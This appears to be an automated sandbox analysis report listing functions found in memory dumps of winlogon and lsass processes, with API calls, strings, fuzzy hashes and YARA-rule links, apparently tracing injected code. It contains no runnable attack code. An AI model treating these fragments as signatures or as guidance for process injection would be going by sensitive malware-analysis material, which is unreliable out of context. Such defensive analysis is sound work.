Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: a20be75b842d5dbd9bbbcbb21bfa971a606c85aff1cb8e04c4579895d74161fa
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 5A31A63925EF60B5EE129B9EA8087997398B709FA6F198965DD2F47344DF38C446C300

Function 00000225DC651B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC651BCD
GetLastError.KERNEL32 ref: 00000225DC651BD9
CloseHandle.KERNEL32 ref: 00000225DC651BF1
CreateFileW.KERNEL32 ref: 00000225DC651C1C
WriteConsoleW.KERNEL32 ref: 00000225DC651C3B

Strings

CONOUT$, xrefs: 00000225DC651BFD

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: b56bf77e3d38014fe6abc0fe981c7fccbbcf30d686bcff1290ba8758a7f2f1e9
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: 2511C135324FA096E7509B9AE858319B3A0F388FE6F208224EA5D877A4CF7CC944C740

Function 00000225DC6430B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6430D7
HeapAlloc.KERNEL32 ref: 00000225DC6430EA
StrCmpNIW.SHLWAPI ref: 00000225DC64316B
GetProcessHeap.KERNEL32 ref: 00000225DC6431D1
HeapFree.KERNEL32 ref: 00000225DC6431DF

Strings

dialer, xrefs: 00000225DC643164

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 043bd55ba01abd2451815a23672e2e217f532292a58b40aff087af92420aa0a0
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 7031A469709F69E2EB25DF9EE94826977A0FB44F86F04C4309E4A07B54EF38C4A1C700

Function 00000225DC641A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC641A3A
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641A58
PathFindFileNameW.SHLWAPI ref: 00000225DC641A67
lstrlenW.KERNEL32 ref: 00000225DC641A73
StrCpyW.SHLWAPI ref: 00000225DC641A86
CloseHandle.KERNEL32 ref: 00000225DC641A94

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 258d30db1b86f1ee08310560d6057e4c708c8021364d2525115f470b83f8a513
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: 6C016D25314E51A6EB20DBA6A45C35973A1F788FC2F588835CE8A43754DF3DC985C700

Function 00000225DC6437AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC6437C8
GetCurrentProcess.KERNEL32 ref: 00000225DC6437D6
VirtualProtectEx.KERNEL32 ref: 00000225DC6437F8
GetCurrentProcess.KERNEL32 ref: 00000225DC643819
VirtualProtectEx.KERNEL32 ref: 00000225DC64383A
TerminateThread.KERNEL32 ref: 00000225DC643849

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: a9f07ffff90aed63a477e6b5be0fa8bb21007e75bcb8cc0cc0795d7558385851
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: FC112D69625F64A6FB259FA9E40D716B7A0BB58F86F248834CD5947754EF3CC408C700

Function 00000225DC6490D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC649103
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC649198
RtlUnwindEx.NTDLL ref: 00000225DC6491E7

Strings

csm, xrefs: 00000225DC64917E
f, xrefs: 00000225DC649116

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction ID: d8b70030c570faa1b5d807255593d4be8cae63427be600f7cb8e87c94ce45865
Opcode Fuzzy Hash: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction Fuzzy Hash: 3A519F3A26DA20AAEB14DF99E44CB5A3799F344B99F50C560DE574778CDB35C842C700

Function 00000225DC641AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC641AD8
StrCmpNIW.SHLWAPI ref: 00000225DC641AF2
lstrlenW.KERNEL32 ref: 00000225DC641B01
StrCpyW.SHLWAPI ref: 00000225DC641B16

Strings

\\?\, xrefs: 00000225DC641AE6

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: f112a6754a55382dbfdf9b1daadc51079be1241575beae1d4f281bfb9662e5ad
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: F6F04F66318E51A2EB208BA9F49D39A6760F744F8AF94C030DA4947A64DF3CC688CB00

Function 00000225DC643200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000225DC643222
StrCpyW.SHLWAPI ref: 00000225DC643232
StrCatW.SHLWAPI ref: 00000225DC64323E
PathCombineW.SHLWAPI ref: 00000225DC64324C

Strings

\\.\pipe\, xrefs: 00000225DC643218

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: 3f87963079133cfab528efc465c2264cd1018eb2f7383f1bd84a27779a78dc6e
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: 1AF0A72831CFA1A2EA008B9BB90D12A7220FB48FD2F18C531DE5B07B68CE3CC481C300

Function 00000225DC64A138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC64A154
GetProcAddress.KERNEL32 ref: 00000225DC64A16A
FreeLibrary.KERNEL32 ref: 00000225DC64A187

Strings

CorExitProcess, xrefs: 00000225DC64A163
mscoree.dll, xrefs: 00000225DC64A14B

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: d9b41130ff410577e9ff513638e825c8c1dfb14f427efc5cd3b7ef21c9094d7c
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 18F01269339F54B1EF555FE8E88C3652360EB48F92F64A469A50B46565DF38C488C700

Function 00000225DC650860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC6508A2
GetConsoleMode.KERNEL32 ref: 00000225DC650960
GetLastError.KERNEL32 ref: 00000225DC6509EA

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: ee9ba1a2d261dc6c65b4e2d43ba4bb6869639d99bddb9c3186d9302fb3dd522e
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: 4281C03AA34E30A9FB509FEDD8887AD27A1F784B96F648116DE0A5379ADB34C441C310

Function 00000225DC6457F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645806

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 015e27c08688d47c0428e5d84959682217638f6f127bf3f2df59713f6161e560
Instruction ID: a4b7c35c2db1f1b914b8e8535d9430e2c3f20039a046fe468dad81212f6f9600
Opcode Fuzzy Hash: 015e27c08688d47c0428e5d84959682217638f6f127bf3f2df59713f6161e560
Instruction Fuzzy Hash: F161B83A51DFA4DAE760DB99E45831AB7A0F388B45F108155FA8E87BA8DB7CC540CF00

Function 00000225DC651EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC651EE0
_set_statfp.LIBCMT ref: 00000225DC651EFB
_set_statfp.LIBCMT ref: 00000225DC651F17
_set_statfp.LIBCMT ref: 00000225DC651F53

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 9c3a901dbb96c7a6d5f7416683512413e85e2737f534a2496eaaa02b9f688107
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 6011822AA74E3162F6A815ECE55E36D11817B75376F39C624BAB7073D78B798C42C200

Function 00000225DC6212B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC6212E0
_set_statfp.LIBCMT ref: 00000225DC6212FB
_set_statfp.LIBCMT ref: 00000225DC621317
_set_statfp.LIBCMT ref: 00000225DC621353

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: e9220e0b73b1d97bc8ad9bb70746f7ec3aeed8aed2e016e4c1d481caacef4710
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 4B11C82FA5CE3121F7A411EDE55E3E990526B58376F58C634FB7716BDA8A388C42C200

Function 00000225DC6184F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC618598

Strings

f, xrefs: 00000225DC618516
csm, xrefs: 00000225DC61857E

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: c4eb3d63776d4055a531065f3b4a1210afd8ee410b87a796abb7a39806a070ee
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 9751CF3A713A60ABEF54CFADE848B193395F358B9BF52C224DA0647788EB34C841C744

Function 00000225DC6184D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC618598

Strings

f, xrefs: 00000225DC618516
csm, xrefs: 00000225DC61857E

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 98add750b6747b53a7348f9af74011a36cd34dbe0a1de91b26c58f32e7b33695
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: D631C07A212A60AAEB54DF5AE84871977A4F748BDBF56C214AE4B07784CB38C940C704

Function 00000225DC6414B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6414D5
HeapFree.KERNEL32 ref: 00000225DC6414E4
GetProcessHeap.KERNEL32 ref: 00000225DC6414F0
HeapFree.KERNEL32 ref: 00000225DC6414FF
GetProcessHeap.KERNEL32 ref: 00000225DC64152A

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: e326b0d558216964c1bb90aba37888528c21a75a5d3d4e8eecd90829191c5857
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: 9211827A528FA4A2E765DFBAA84821AB770F789F85F148429DB8A03755DF38C051C740

Function 00000225DC6426F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6427D4
StrCpyW.SHLWAPI ref: 00000225DC6427ED

Strings

\\.\pipe\, xrefs: 00000225DC6427DF

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: e84ec4e56ed1e90a05ef63eae199e49c7ac373d922cc0b8786abc0fb272ba263
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 9871043A21CFA165EB25DFEE98483AE7791F749B86F648066DE4B43B89DE34C504C700

Function 00000225DC6424DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6425C3
StrCpyW.SHLWAPI ref: 00000225DC6425DA

Strings

\\.\pipe\, xrefs: 00000225DC6425CE

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: 82a189bbe50c5a58e74aff3149cadbbba18f33c2f75b78c150759b162fa20576
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: E051FC3A20CFA163EA769FEE955C36A7751F385B81F208165DD8B43B9ACE35C441CB40

Function 00000225DC650604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC65071B
GetLastError.KERNEL32 ref: 00000225DC65073D

Strings

U, xrefs: 00000225DC6506C7

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: dbd3c59a83022a55f629b447afb55701cd426435ed0c6f26eff50a32d3407be4
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 0241D776324F90A5EB20DF69E44839AB7A0F398B85F508025EE8E87798DF3CC541CB40

Function 00000225DC64D6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC64D6F9
LCMapStringW.KERNEL32 ref: 00000225DC64D781

Strings

LCMapStringEx, xrefs: 00000225DC64D6DC, 00000225DC64D6ED

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 96e3d65a4d9add6818bea14478ca5d8bc85ea27d49f2560d141d73b6693779a1
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: EE111A3A608BD096D760CB5AF48429AB7A4F7C9B90F548126EE8E83B59DF38C450CB00

Function 00000225DC6494A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6494E8
RaiseException.KERNEL32 ref: 00000225DC64952E

Strings

csm, xrefs: 00000225DC64951B

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: 354041a0a2ecc4c9e9bc09221ca2bb7f4da21dcaa4cc32c5419b9af12a7b4355
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 1D114C36218F9092EB658F19F44425977A4F788F99F288260DF8D07B68DF38C552CB00

Function 00000225DC64D65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC64D68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000225DC64D6A7

Strings

InitializeCriticalSectionEx, xrefs: 00000225DC64D681

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 753a0c4c8e75c7b377fb19d25a41dc167e0867bab3c2666fc635be3435da41e9
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: C8F02729728FB0B1E7059BC9F4082A53360EB88F82F68C161EA4A03B14CF38C894CB00

Function 00000225DC64D608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC64D631
TlsSetValue.KERNEL32 ref: 00000225DC64D648

Strings

FlsSetValue, xrefs: 00000225DC64D61E

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 7188367852273573d0506cae3145d3ebffeb3ec7035bda74b2e084343ebc6817
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: DCE09269628E50B1EB054BDCF80C6A93362FB88F82F68C162DA0A06355CE38C855C700

Function 00000225DC61CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC61CBC5

Strings

October, xrefs: 00000225DC61CBBE
November, xrefs: 00000225DC61CBA8, 00000225DC61CBB2

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: ad5d257609b9ae283b254a7c1adf856348e354321dbb8be3287acd0e2c9a4b05
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 18E09229306E51B2EE059BDDF44C2F8B321DB94747FAAD021991A06256CE38C986D340

Function 00000225DC641D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641D9B
HeapAlloc.KERNEL32 ref: 00000225DC641DAA
GetProcessHeap.KERNEL32 ref: 00000225DC641E1E
HeapFree.KERNEL32 ref: 00000225DC641E2C

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 033f51fa4fbd303eb701596ecc85ecdd0deee511843dda6ace5587389423011c
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: C021A77A618FA091EB218FADE40825AF7A0FB88F95F158120DE8D47B24EF78C543C700

Function 00000225DC641274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64127A
HeapAlloc.KERNEL32 ref: 00000225DC641289
GetProcessHeap.KERNEL32 ref: 00000225DC6412A3
HeapAlloc.KERNEL32 ref: 00000225DC6412B4

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: e260d4879ccdd16d2670f1e3a98160fb33c08bdd2834f05f7ee2a4984eaa195b
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 07E09AB5A21A10D6E7288FBAD80834A36E1FB8CF02F58C434C90907360DF7D84DACB80

Analysis Process: lsass.exePID: 628, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	135
Total number of Limit Nodes:	11

Executed Functions

Function 00000202C0AE26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000202C0AE27D4
StrCpyW.SHLWAPI ref: 00000202C0AE27ED

Strings

\\.\pipe\, xrefs: 00000202C0AE27DF

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
